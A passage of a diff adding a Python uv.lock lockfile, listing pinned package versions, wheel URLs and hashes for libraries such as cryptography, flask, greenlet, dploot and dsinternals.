"sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" }, + { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" }, + { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" }, + { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" }, + { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" }, + { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" }, + { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" }, + { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" }, + { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" }, + { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" }, + { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" }, + { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" }, +] + +[[package]] +name = "click" +version = "8.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/23/e4/796662cd90cf80e3a363c99db2b88e0e394b988a575f60a17e16440cd011/click-8.4.0.tar.gz", hash = "sha256:638f1338fe1235c8f4e008e4a8a254fb5c5fbdcbb40ece3c9142ebb78e792973", size = 350843, upload-time = "2026-05-17T00:47:58.425Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ee/ae/8e92f8058baf87f6c7d86ee7e457668690195cc77efedb8d3797a06e3940/click-8.4.0-py3-none-any.whl", hash = "sha256:40c50b7c6c6adac2823d411041ec84f3f103f1b280d5e9ce0d7f998995832f81", size = 116147, upload-time = "2026-05-17T00:47:56.842Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "cryptography" +version = "42.0.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/93/a7/1498799a2ea06148463a9a2c10ab2f6a921a74fb19e231b27dc412a748e2/cryptography-42.0.8.tar.gz", hash = "sha256:8d09d05439ce7baa8e9e95b07ec5b6c886f548deb7e0f69ef25f64b3bce842f2", size = 671250, upload-time = "2024-06-04T19:55:08.609Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f9/8b/1b929ba8139430e09e140e6939c2b29c18df1f2fc2149e41bdbdcdaf5d1f/cryptography-42.0.8-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:81d8a521705787afe7a18d5bfb47ea9d9cc068206270aad0b96a725022e18d2e", size = 5899961, upload-time = "2024-06-04T19:53:57.933Z" }, + { url = "https://files.pythonhosted.org/packages/fa/5d/31d833daa800e4fab33209843095df7adb4a78ea536929145534cbc15026/cryptography-42.0.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:961e61cefdcb06e0c6d7e3a1b22ebe8b996eb2bf50614e89384be54c48c6b63d", size = 3114353, upload-time = "2024-06-04T19:54:12.171Z" }, + { url = "https://files.pythonhosted.org/packages/5d/32/f6326c70a9f0f258a201d3b2632bca586ea24d214cec3cf36e374040e273/cryptography-42.0.8-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e3ec3672626e1b9e55afd0df6d774ff0e953452886e06e0f1eb7eb0c832e8902", size = 3647773, upload-time = "2024-06-04T19:54:07.051Z" }, + { url = "https://files.pythonhosted.org/packages/35/66/2d87e9ca95c82c7ee5f2c09716fc4c4242c1ae6647b9bd27e55e920e9f10/cryptography-42.0.8-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e599b53fd95357d92304510fb7bda8523ed1f79ca98dce2f43c115950aa78801", size = 3839763, upload-time = "2024-06-04T19:54:30.383Z" }, + { url = "https://files.pythonhosted.org/packages/c2/de/8083fa2e68d403553a01a9323f4f8b9d7ffed09928ba25635c29fb28c1e7/cryptography-42.0.8-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5226d5d21ab681f432a9c1cf8b658c0cb02533eece706b155e5fbd8a0cdd3949", size = 3632661, upload-time = "2024-06-04T19:54:32.955Z" }, + { url = "https://files.pythonhosted.org/packages/07/40/d6f6819c62e808ea74639c3c640f7edd636b86cce62cb14943996a15df92/cryptography-42.0.8-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6b7c4f03ce01afd3b76cf69a5455caa9cfa3de8c8f493e0d3ab7d20611c8dae9", size = 3851536, upload-time = "2024-06-04T19:53:53.131Z" }, + { url = "https://files.pythonhosted.org/packages/5c/46/de71d48abf2b6d3c808f4fbb0f4dc44a4e72786be23df0541aa2a3f6fd7e/cryptography-42.0.8-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:2346b911eb349ab547076f47f2e035fc8ff2c02380a7cbbf8d87114fa0f1c583", size = 3754209, upload-time = "2024-06-04T19:54:55.259Z" }, + { url = "https://files.pythonhosted.org/packages/25/c9/86f04e150c5d5d5e4a731a2c1e0e43da84d901f388e3fea3d5de98d689a7/cryptography-42.0.8-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:ad803773e9df0b92e0a817d22fd8a3675493f690b96130a5e24f1b8fabbea9c7", size = 3923551, upload-time = "2024-06-04T19:54:16.46Z" }, + { url = "https://files.pythonhosted.org/packages/53/c2/903014dafb7271fb148887d4355b2e90319cad6e810663be622b0c933fc9/cryptography-42.0.8-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:2f66d9cd9147ee495a8374a45ca445819f8929a3efcd2e3df6428e46c3cbb10b", size = 3739265, upload-time = "2024-06-04T19:54:23.194Z" }, + { url = "https://files.pythonhosted.org/packages/95/26/82d704d988a193cbdc69ac3b41c687c36eaed1642cce52530ad810c35645/cryptography-42.0.8-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:d45b940883a03e19e944456a558b67a41160e367a719833c53de6911cabba2b7", size = 3937371, upload-time = "2024-06-04T19:55:04.303Z" }, + { url = "https://files.pythonhosted.org/packages/cf/71/4e0d05c9acd638a225f57fb6162aa3d03613c11b76893c23ea4675bb28c5/cryptography-42.0.8-cp37-abi3-win32.whl", hash = "sha256:a0c5b2b0585b6af82d7e385f55a8bc568abff8923af147ee3c07bd8b42cda8b2", size = 2438849, upload-time = "2024-06-04T19:54:27.39Z" }, + { url = "https://files.pythonhosted.org/packages/06/0f/78da3cad74f2ba6c45321dc90394d70420ea846730dc042ef527f5a224b5/cryptography-42.0.8-cp37-abi3-win_amd64.whl", hash = "sha256:57080dee41209e556a9a4ce60d229244f7a66ef52750f813bfbe18959770cfba", size = 2889090, upload-time = "2024-06-04T19:54:14.245Z" }, + { url = "https://files.pythonhosted.org/packages/60/12/f064af29190cdb1d38fe07f3db6126091639e1dece7ec77c4ff037d49193/cryptography-42.0.8-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:dea567d1b0e8bc5764b9443858b673b734100c2871dc93163f58c46a97a83d28", size = 5901232, upload-time = "2024-06-04T19:54:52.722Z" }, + { url = "https://files.pythonhosted.org/packages/43/c2/4a3eef67e009a522711ebd8ac89424c3a7fe591ece7035d964419ad52a1d/cryptography-42.0.8-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c4783183f7cb757b73b2ae9aed6599b96338eb957233c58ca8f49a49cc32fd5e", size = 3648711, upload-time = "2024-06-04T19:54:44.323Z" }, + { url = "https://files.pythonhosted.org/packages/49/1c/9f6d13cc8041c05eebff1154e4e71bedd1db8e174fff999054435994187a/cryptography-42.0.8-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a0608251135d0e03111152e41f0cc2392d1e74e35703960d4190b2e0f4ca9c70", size = 3841968, upload-time = "2024-06-04T19:54:57.911Z" }, + { url = "https://files.pythonhosted.org/packages/5f/f9/c3d4f19b82bdb25a3d857fe96e7e571c981810e47e3f299cc13ac429066a/cryptography-42.0.8-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:dc0fdf6787f37b1c6b08e6dfc892d9d068b5bdb671198c72072828b80bd5fe4c", size = 3633032, upload-time = "2024-06-04T19:54:48.518Z" }, + { url = "https://files.pythonhosted.org/packages/fa/e2/b7e6e8c261536c489d9cf908769880d94bd5d9a187e166b0dc838d2e6a56/cryptography-42.0.8-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:9c0c1716c8447ee7dbf08d6db2e5c41c688544c61074b54fc4564196f55c25a7", size = 3852478, upload-time = "2024-06-04T19:54:50.599Z" }, + { url = "https://files.pythonhosted.org/packages/a2/68/e16751f6b859bc120f53fddbf3ebada5c34f0e9689d8af32884d8b2e4b4c/cryptography-42.0.8-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:fff12c88a672ab9c9c1cf7b0c80e3ad9e2ebd9d828d955c126be4fd3e5578c9e", size = 3754102, upload-time = "2024-06-04T19:54:46.231Z" }, + { url = "https://files.pythonhosted.org/packages/0f/38/85c74d0ac4c540780e072b1e6f148ecb718418c1062edcb20d22f3ec5bbb/cryptography-42.0.8-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:cafb92b2bc622cd1aa6a1dce4b93307792633f4c5fe1f46c6b97cf67073ec961", size = 3925042, upload-time = "2024-06-04T19:54:34.767Z" }, + { url = "https://files.pythonhosted.org/packages/89/f4/a8b982e88eb5350407ebdbf4717b55043271d878705329e107f4783555f2/cryptography-42.0.8-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:31f721658a29331f895a5a54e7e82075554ccfb8b163a18719d342f5ffe5ecb1", size = 3738833, upload-time = "2024-06-04T19:54:05.231Z" }, + { url = "https://files.pythonhosted.org/packages/fd/2b/be327b580645927bb1a1f32d5a175b897a9b956bc085b095e15c40bac9ed/cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14", size = 3938751, upload-time = "2024-06-04T19:54:37.837Z" }, + { url = "https://files.pythonhosted.org/packages/3c/d5/c6a78ffccdbe4516711ebaa9ed2c7eb6ac5dfa3dc920f2c7e920af2418b0/cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c", size = 2439281, upload-time = "2024-06-04T19:53:55.903Z" }, + { url = "https://files.pythonhosted.org/packages/a2/7b/b0d330852dd5953daee6b15f742f15d9f18e9c0154eb4cfcc8718f0436da/cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a", size = 2886038, upload-time = "2024-06-04T19:54:18.707Z" }, + { url = "https://files.pythonhosted.org/packages/a3/fe/1e21699f0a7904e8a30d4fc6db262958f1edf5e505a02e7d97a5b419e482/cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe", size = 3014449, upload-time = "2024-06-04T19:54:40.379Z" }, + { url = "https://files.pythonhosted.org/packages/d5/f3/61b398b5ec61f4b6ffbf746227df7ebb421696458d9625d634043f236a13/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c", size = 3558533, upload-time = "2024-06-04T19:54:42.123Z" }, + { url = "https://files.pythonhosted.org/packages/c1/e2/60b05e720766e185ef097d07068bd878a51d613ef91e4c241750f9c9192b/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71", size = 3759330, upload-time = "2024-06-04T19:54:09.258Z" }, + { url = "https://files.pythonhosted.org/packages/10/38/2c8dae407d301eaf942e377a5b2b30485cfa0df03c6c2dcc2ac044054ed9/cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d", size = 2801764, upload-time = "2024-06-04T19:54:25.455Z" }, +] + +[[package]] +name = "dnspython" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b5/4a/263763cb2ba3816dd94b08ad3a33d5fdae34ecb856678773cc40a3605829/dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1", size = 345197, upload-time = "2024-10-05T20:14:59.362Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/68/1b/e0a87d256e40e8c888847551b20a017a6b98139178505dc7ffb96f04e954/dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86", size = 313632, upload-time = "2024-10-05T20:14:57.687Z" }, +] + +[[package]] +name = "dploot" +version = "3.2.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, + { name = "impacket" }, + { name = "lxml" }, + { name = "pyasn1" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/80/b1/40295eaf9ac7ab4c93a2568356971480d335b410cf67075064cb4e9ddaec/dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8", size = 68524, upload-time = "2026-03-13T16:27:31.139Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/81/96/4f81066afd9dc958c3cea89a3dc371c94cc651d528853545cf3a54bade7c/dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9", size = 93718, upload-time = "2026-03-13T16:27:29.83Z" }, +] + +[[package]] +name = "dsinternals" +version = "1.2.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycryptodomex" }, + { name = "pyopenssl" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/f0/29/41a6937ecc61812d09b9177a09c6f4a3edc499c0e227180d572a23e24e7b/dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd", size = 200448, upload-time = "2026-02-01T20:43:59.674Z" }, +] + +[[package]] +name = "exceptiongroup" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, +] + +[[package]] +name = "flask" +version = "3.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "blinker" }, + { name = "click" }, + { name = "itsdangerous" }, + { name = "jinja2" }, + { name = "markupsafe" }, + { name = "werkzeug" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/26/00/35d85dcce6c57fdc871f3867d465d780f302a175ea360f62533f12b27e2b/flask-3.1.3.tar.gz", hash = "sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb", size = 759004, upload-time = "2026-02-19T05:00:57.678Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl", hash = "sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c", size = 103424, upload-time = "2026-02-19T05:00:56.027Z" }, +] + +[[package]] +name = "greenlet" +version = "3.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3c/3f/dbf99fb14bfeb88c28f16729215478c0e265cacd6dc22270c8f31bb6892f/greenlet-3.5.0.tar.gz", hash = "sha256:d419647372241bc68e957bf38d5c1f98852155e4146bd1e4121adea81f4f01e4", size = 196995, upload-time = "2026-04-27T13:37:15.544Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b0/03/84359833f7e1d49a883e92777637c592306030e30cee5e2b1e6476f95c88/greenlet-3.5.0-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:29ea813b2e1f45fa9649a17853b2b5465c4072fbcb072e5af6cd3a288216574a", size = 283502, upload-time = "2026-04-27T12:20:55.213Z" }, + { url = "https://files.pythonhosted.org/packages/25/ce/6f9f008266273aa14a2e011945797ac5802b97b8b40efe7afe1ee6c1afc9/greenlet-3.5.0-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:804a70b328e706b785c6ef16187051c394a63dd1a906d89be24b6ad77759f13f", size = 600508, upload-time = "2026-04-27T12:52:37.876Z" }, + { url = "https://files.pythonhosted.org/packages/e0/6d/b0f3272c2368ea2c1aa19a5ad70db0be8f8dff6e6d3d1eb82efa00cbcf19/greenlet-3.5.0-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:884f649de075b84739713d41dd4dfd41e2b910bfb769c4a3ea02ec1da52cd9bb", size = 613283, upload-time = "2026-04-27T12:59:37.957Z" }, + { url = "https://files.pythonhosted.org/packages/ed/ac/0b509b6fb93551ce5a01612ee1acda7f7dda4bbb66c99aeb2ab403d205dc/greenlet-3.5.0-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b28037cb07768933c54d81bfe47a85f9f402f57d7d69743b991a713b63954eb", size = 613418, upload-time = "2026-04-27T12:25:23.852Z" }, + { url = "https://files.pythonhosted.org/packages/03/03/2b2b680ec87aaa97998fb5b8d76658d4d3560386864f17efab33ba7c2e24/greenlet-3.5.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cda05425526240807408156b6960a17a79a0c760b813573b67027823be760977", size = 1572229, upload-time = "2026-04-27T12:53:23.509Z" }, + { url = "https://files.pythonhosted.org/packages/61/e4/42b259e7a19aff1a270a4bd82caf6353109ed6860c9454e18f37162b83ae/greenlet-3.5.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9c615f869163e14bb1ced20322d8038fb680b08236521ac3f30cd4c1288785a0", size = 1639886, upload-time = "2026-04-27T12:25:22.325Z" }, + { url = "https://files.pythonhosted.org/packages/6f/b4/733ca47b883b67c57f90d3ecb21055c9ec753597d10754ac201644061f9d/greenlet-3.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:ba8f0bdc2fae6ce915dfd0c16d2d00bca7e4247c1eae4416e06430e522137858", size = 237795, upload-time = "2026-04-27T12:21:40.118Z" }, + { url = "https://files.pythonhosted.org/packages/8b/0f/a91f143f356523ff682309732b175765a9bc2836fd7c081c2c67fedc1ad4/greenlet-3.5.0-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:8f1cc966c126639cd152fdaa52624d2655f492faa79e013fea161de3e6dda082", size = 284726, upload-time = "2026-04-27T12:20:51.402Z" }, + { url = "https://files.pythonhosted.org/packages/95/82/800646c7ffc5dbabd75ddd2f6b519bb898c0c9c969e5d0473bfe5d20bcce/greenlet-3.5.0-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:362624e6a8e5bca3b8233e45eef33903a100e9539a2b995c364d595dbc4018b3", size = 604264, upload-time = "2026-04-27T12:52:39.494Z" }, + { url = "https://files.pythonhosted.org/packages/ca/ac/354867c0bba812fc33b15bc55aedafedd0aee3c7dd91dfca22444157dc0c/greenlet-3.5.0-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5ecd83806b0f4c2f53b1018e0005cd82269ea01d42befc0368730028d850ed1c", size = 616099, upload-time = "2026-04-27T12:59:39.623Z" }, + { url = "https://files.pythonhosted.org/packages/ff/b0/815bece7399e01cadb69014219eebd0042339875c59a59b0820a46ece356/greenlet-3.5.0-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0ff251e9a0279522e62f6176412869395a64ddf2b5c5f782ff609a8216a4e662", size = 615198, upload-time = "2026-04-27T12:25:25.928Z" }, + { url = "https://files.pythonhosted.org/packages/10/80/3b2c0a895d6698f6ddb31b07942ebfa982f3e30888bc5546a5b5990de8b2/greenlet-3.5.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6d874e79afd41a96e11ff4c5d0bc90a80973e476fda1c2c64985667397df432b", size = 1574927, upload-time = "2026-04-27T12:53:25.81Z" }, + { url = "https://files.pythonhosted.org/packages/44/0e/f354af514a4c61454dbc68e44d47544a5a4d6317e30b77ddfa3a09f4c5f3/greenlet-3.5.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0ed006e4b86c59de7467eb2601cd1b77b5a7d657d1ee55e30fe30d76451edba4", size = 1642683, upload-time = "2026-04-27T12:25:23.9Z" }, + { url = "https://files.pythonhosted.org/packages/fa/6a/87f38255201e993a1915265ebb80cd7c2c78b04a45744995abbf6b259fd8/greenlet-3.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:703cb211b820dbffbbc55a16bfc6e4583a6e6e990f33a119d2cc8b83211119c8", size = 238115, upload-time = "2026-04-27T12:21:48.845Z" }, + { url = "https://files.pythonhosted.org/packages/e3/f8/450fe3c5938fa737ea4d22699772e6e34e8e24431a47bf4e8a1ceed4a98e/greenlet-3.5.0-cp311-cp311-win_arm64.whl", hash = "sha256:6c18dfb59c70f5a94acd271c72e90128c3c776e41e5f07767908c8c1b74ad339", size = 235017, upload-time = "2026-04-27T12:22:26.768Z" }, + { url = "https://files.pythonhosted.org/packages/ef/32/f2ce6d4cac3e55bc6173f92dbe627e782e1850f89d986c3606feb63aafa7/greenlet-3.5.0-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:db2910d3c809444e0a20147361f343fe2798e106af8d9d8506f5305302655a9f", size = 286228, upload-time = "2026-04-27T12:20:34.421Z" }, + { url = "https://files.pythonhosted.org/packages/b7/aa/caed9e5adf742315fc7be2a84196373aab4816e540e38ba0d76cb7584d68/greenlet-3.5.0-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ec9ea74e7268ace7f9aab1b1a4e730193fc661b39a993cd91c606c32d4a3628", size = 601775, upload-time = "2026-04-27T12:52:41.045Z" }, + { url = "https://files.pythonhosted.org/packages/c7/af/90ae08497400a941595d12774447f752d3dfe0fbb012e35b76bc5c0ff37e/greenlet-3.5.0-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54d243512da35485fc7a6bf3c178fdda6327a9d6506fcdd62b1abd1e41b2927b", size = 614436, upload-time = "2026-04-27T12:59:41.595Z" }, + { url = "https://files.pythonhosted.org/packages/2b/e0/2e13df68f367e2f9960616927d60857dd7e56aaadd59a47c644216b2f920/greenlet-3.5.0-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d280a7f5c331622c69f97eb167f33577ff2d1df282c41cd15907fc0a3ca198c", size = 611388, upload-time = "2026-04-27T12:25:28.008Z" }, + { url = "https://files.pythonhosted.org/packages/82/f7/393c64055132ac0d488ef6be549253b7e6274194863967ddc0bc8f5b87b8/greenlet-3.5.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1eb67d5adefb5bd2e182d42678a328979a209e4e82eb93575708185d31d1f588", size = 1570768, upload-time = "2026-04-27T12:53:28.099Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4b/eaf7735253522cf56d1b74d672a58f54fc114702ceaf05def59aae72f6e1/greenlet-3.5.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2628d6c86f6cb0cb45e0c3c54058bbec559f57eaae699447748cb3928150577e", size = 1635983, upload-time = "2026-04-27T12:25:26.903Z" }, + { url = "https://files.pythonhosted.org/packages/4c/fe/4fb3a0805bd5165da5ebf858da7cc01cce8061674106d2cf5bdab32cbfde/greenlet-3.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:d4d9f0624c775f2dfc56ba54d515a8c771044346852a918b405914f6b19d7fd8", size = 238840, upload-time = "2026-04-27T12:23:54.806Z" }, + { url = "https://files.pythonhosted.org/packages/cb/cb/baa584cb00532126ffe12d9787db0a60c5a4f55c27bfe2666df5d4c30a32/greenlet-3.5.0-cp312-cp312-win_arm64.whl", hash = "sha256:83ed9f27f1680b50e89f40f6df348a290ea234b249a4003d366663a12eab94f2", size = 235615, upload-time = "2026-04-27T12:21:38.57Z" }, + { url = 